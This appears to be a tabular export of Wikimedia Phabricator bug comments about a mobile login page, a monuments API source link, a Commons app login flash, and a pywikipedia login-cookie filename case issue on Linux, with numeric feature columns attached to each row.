+263883,Special:UserLogin does not inform you you're already logged in on mobile,"As long as the task is well defined, yes, this looks like a good GCI task.",,,1387915483,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0
+263879,Special:UserLogin does not inform you you're already logged in on mobile,Andre / Quim - good task for Google Code in 2013. Should be put into the beta mode of the site first.,,,1387912853,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+263876,Special:UserLogin does not inform you you're already logged in on mobile,Btw.. it actually /does/ inform you if you are logged in - an echo icon is in the top right corner.,,,1387497900,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+263872,Special:UserLogin does not inform you you're already logged in on mobile,*** Bug 56023 has been marked as a duplicate of this bug. ***,,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+263868,Special:UserLogin does not inform you you're already logged in on mobile,"Sure but you can still only be in one account at a time. :) Maybe redirecting to a page that prompts the user saying ""You are logged in as Jon, do you want to log in as another user"" would make sense?",,,1383157807,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0
+263864,Special:UserLogin does not inform you you're already logged in on mobile,"(In reply to comment #5)
+> I was just pointing out that many websites if you go to the login page whilst
+> logged in they will redirect you to a user dashboard. Since we don't have
+> this equivalent though I can understand a warning message may suffice.
+
+Unlike just about any site we allow users to register more than one account, though. And in particular we allow them to do that while being logged in. Showing the login form as well as the create account form seems like a sane thing to do (especially since it's also the only place in the UI where account creation is linked, apart from the list of all special pages).",,,1383157658,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,1,0,0,1,1,1,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1
+263858,Special:UserLogin does not inform you you're already logged in on mobile,"I was just pointing out that many websites if you go to the login page whilst logged in they will redirect you to a user dashboard. Since we don't have this equivalent though I can understand a warning message may suffice.
+
+It doesn't seem like the end of the world to do nothing though - Tumblr seems to do that for example (www.tumblr.com/login)",,,1383150099,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,1,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+263854,Special:UserLogin does not inform you you're already logged in on mobile,"**swalling** wrote:
+
+(In reply to comment #2)
+> I would actually say the correct behaviour is to not show the page at all
+> maybe
+> redirecting to the main page...
+
+That's a bad idea, because it defies normal expectations. A user clicking on a link to login or typing in Special:UserLogin expects to be sent to login. Doing something else silently would seem broken. 
+
+Also, note that if you're already authenticated, you can in fact log in as a different account without logging out, so the warning message educates the user about this, rather than just acting as a roadblock.",,,1383094786,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-88,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+263850,Special:UserLogin does not inform you you're already logged in on mobile,Just a note that the rationale for the desktop design when user is logged in was discussed on bug 53306 and change I1672ee09.,,,1383094560,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0
+263845,Special:UserLogin does not inform you you're already logged in on mobile,I would actually say the correct behaviour is to not show the page at all maybe redirecting to the main page...,,,1383094002,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,True,,,-88,True,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+263839,Special:UserLogin does not inform you you're already logged in on mobile,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1342",,,1383093736,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4b2mxuc52ewo5a775yq7,task_subcomment,,True,c3,1,False,,,-88,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+57657,Source link does not recognise https protocol,"There is URL in 'Source' column here http://toolserver.org/~erfgoed/api/api.php?action=search&format=html&srcountry=ua&srlang=uk&srid=61-212-0002&props=image|name|address|municipality|lat|lon|id|country|source|monument_article|registrant_url ,  but there is no A tags there, and I cannot go directly by link. I should copypaste it. It will be more useful if add A tags there.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1381610700,1443227401.0,PHID-USER-i3udwzz23foysknxyfsb,False,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,PHID-TASK-hhfarzxifkzbfplxjjgo,task_description,resolved,True,c3,1,False,False,True,-90,True,0,0,0,0,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,1,0,0
+703222,Source link does not recognise https protocol,"It actually does not. It triggers the email to all project members even if they don't want to receive it (= are not subscribed to the task). If they want to get email notifications on all changes in given project, they can //watch// the project (apart from //being a member//).
+
+Task subscribers should be only People, not Projects.",,,1469975259,,PHID-USER-xqqqgn2dels45flxw5kb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,False,,,56,True,1,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+703209,Source link does not recognise https protocol,"@Danny_B don't subsribtion and project field act differently? I am not sure what @Ahonc needed, but from my POV l, and I am a member of wlmuammxv team too, subscribtion does make sense.",,,1469974184,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,False,,,56,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,1,1,0,0,0,0,0
+535588,Source link does not recognise https protocol,Closing this one as Resolved. T112461 is slightly different.,,,1443227401,,PHID-USER-m7etbwqrv6cfrg5ymrwx,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,True,,,12,True,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+526242,Source link does not recognise https protocol,Should be vice versa. An older thing can't be a duplicate.,,,1442170566,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,3,False,,,10,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0
+416128,Source link does not recognise https protocol,Looks like the bot doesn't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424728272,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1
+415580,Source link does not recognise https protocol,Looks like the bot doen't work with tools. [[https://gerrit.wikimedia.org/r/#/c/192258/|Gerrit patch]]. Though I'm not sure whether it's all that needs to be changed in order to have the bug fixed.,,,1424657442,,PHID-USER-sscimmfqgfuh4pe2kfyw,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,False,,,-19,True,1,0,0,1,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1
+271683,Source link does not recognise https protocol,"Alright, setting back ""Priority"" from normal to low then, as it should reflect reality and not wishful thinking. :-/",,,1408906117,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0
+271680,Source link does not recognise https protocol,"I have no access to fix it.
+But it did not fixed during 10 month, I want to make it more quickly.",,,1408903766,,PHID-USER-i3udwzz23foysknxyfsb,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0
+271675,Source link does not recognise https protocol,Ahonc.ua: Do you plan to work on this?,,,1408898637,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hhfarzxifkzbfplxjjgo,task_subcomment,,True,c3,1,True,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+57575,Login screen is loaded briefly even though I'm logged in.,"From Jared
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1381424640,1411417881.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-cepna27rtqwdgr4ecugr,task_description,declined,True,c3,1,False,False,True,-90,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+267031,Login screen is loaded briefly even though I'm logged in.,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.
+
+For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411417881,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-cepna27rtqwdgr4ecugr,task_subcomment,,True,c3,1,True,,,-41,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1
+57190,*-login.data can have case discrepency on Linux host,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1475/
+Reported by: jaclayiii
+Created on: 2012-06-26 04:52:22
+Subject: *-login.data can have case discrepency on Linux host
+Original description:
+Pywikipedia \[http\] trunk/pywikipedia \(r10401, 2012/06/21, 06:18:43\)
+Python 2.7.2+ \(default, Oct  4 2011, 20:06:09\)
+\[GCC 4.6.1\]
+config-settings:
+use\_api = True
+use\_api\_login = True
+unicode test: ok
+
+Summary: the \*-login.data file maybe saved with an uppercase username but when load cookies tries to find it on a Linux host, the case of the username maybe lower. This has the unintended consequence of not allowing bots to login on private wikis that have anonymous read api rights disabled.
+
+
+If a user connects to a wiki that has LDAP or some other form of ""add-on"" authentication, the user name returned may vary in case from what is in the user-config.py file. The reason this matters is that the &lt;wikifamily&gt;-&lt;language&gt;-&lt;username&gt;-login.data file may be saved with an upper case letter in the username. Thus if the user-config.py file contained:
+
+users\[""mywiki""\]\[""en""\]=""james""
+
+but the LDAP authenticator returned back ""James"" as the username, then the \*-login.data file would be mywiki-en-James-login.data, but when \_loadcookies goes to look for such a file on line 5572: 
+
+if os.path.exists\(localPA\)
+
+localPA is /~some/path/to/mywiki-en-james-login.data
+
+Notice that the James is now lower case in the file above.
+
+As Linux is case sensitive, it cannot find the login data and thus prevents access to wikis the do not allow anonymous access to api's. A temporary work around requires setting user name to the appropriate case \(even if the username is case insensitive in the LDAP authentication scheme\), for example:
+
+users\[""mywiki""\]\[""en""\]=""James""
+
+
+keywords: SSL, Login failure, https login failure, https linux login, https pywikipedia, https pywikipedia linux
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://sourceforge.net/p/pywikipediabot/bugs/1475",Low,25.0,1380948000,1644598152.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-xezsyhikbr7hjrig2ofp,False,PHID-TASK-u6hauwbfub42u7jgbgkz,task_description,resolved,True,c3,1,True,False,False,-91,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+1863039,*-login.data can have case discrepency on Linux host,we no longer have such a file,,,1644598152,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,3,True,,,345,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0
+468077,*-login.data can have case discrepency on Linux host,"@legoktm, @aklapper imported spam ^",,,1433302446,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+468082,*-login.data can have case discrepency on Linux host,,,,1433302490,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267944,*-login.data can have case discrepency on Linux host,,,,1380948039,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+468081,*-login.data can have case discrepency on Linux host,,,,1433302483,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267940,*-login.data can have case discrepency on Linux host,,,,1380948037,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+468079,*-login.data can have case discrepency on Linux host,,,,1433302475,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267935,*-login.data can have case discrepency on Linux host,,,,1380948035,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+468078,*-login.data can have case discrepency on Linux host,,,,1433302468,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-5,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267931,*-login.data can have case discrepency on Linux host,,,,1380948033,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+267925,*-login.data can have case discrepency on Linux host,"After thinking even more on this issue, even for those not using LDAP authentication \(which I would assume the majority are not using\), correct casing based on the user-config file shouldn't have undesirable effects: if you can log in with what's in the user config file then correctly saving the cookie file with that username shouldn't negatively impact anything. On the other hand if you do not save the cookie file with the same user name that is in the user-config file, but you continue to use the user-config file to generate the localPA variable, then you may have problems on case sensitive platforms.
+
+If this fix seems to difficult \(I don't believe it to be\) or you're suspicious of the logic, you may want to place a warning in the setup instructions. I've added a comment on the wiki for userconfig.py that people using \*nix systems should be aware that by default mediawiki has uppercase user names.",,,1380948031,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+267917,*-login.data can have case discrepency on Linux host,"After rereading the LDAP link, you're probably right in that the it's the actual mediawiki login that is forcing uppercase, nonetheless the file name that pywiki attempts to find should be case correct irrelevant of the username supplied or returned. My thought for that fix has to do with correctly saving the \*-login.data cookie with the username found in user-config.py.",,,1380948030,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+267912,*-login.data can have case discrepency on Linux host,"It has very much to do with LDAP: http://www.mediawiki.org/wiki/Extension:LDAP\_Authentication/User\_Provided\_Information\#Capitalize\_user\_name\_as\_in\_LDAP
+
+And it has very much to do with Linux: Linux path names are case sensitive. 
+
+I reported the bug as it took me time to track down and perhaps someone else who has the misfortune of dealing with it will find this helpful.
+
+The fact is that if I can login with a lower case name, and I can, then whatever pywiki stores should be in the same case, NOT what may be returned when the wiki user name is returned. The file name for \*-login.data should be the same case as what is stored in user-config.py
+
+This is just good practice, especially on a case sensitive host like Linux.
+
+Also, as mediawiki is authenticating against LDAP, whatever it stores as the username is irrelevant if it correctly authenticates. A further reason to enforce correct casing based on the user-config.py file.",,,1380948028,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+267906,*-login.data can have case discrepency on Linux host,"This has very little to do with Linux or LDAP, but rather has to do with the fact your username is 'James' and not 'james'. This is related to the 'first character is capitalized' convention on some wikis, but not all \(\!\).
+
+However, we could probably check whether the name has changed when the user is logged in and emit a warning when this happens \(and/or store the cookie with the username as saved in the config file, but that could have some unintended consequences\).",,,1380948026,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-u6hauwbfub42u7jgbgkz,task_subcomment,,True,c3,1,True,,,-91,True,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
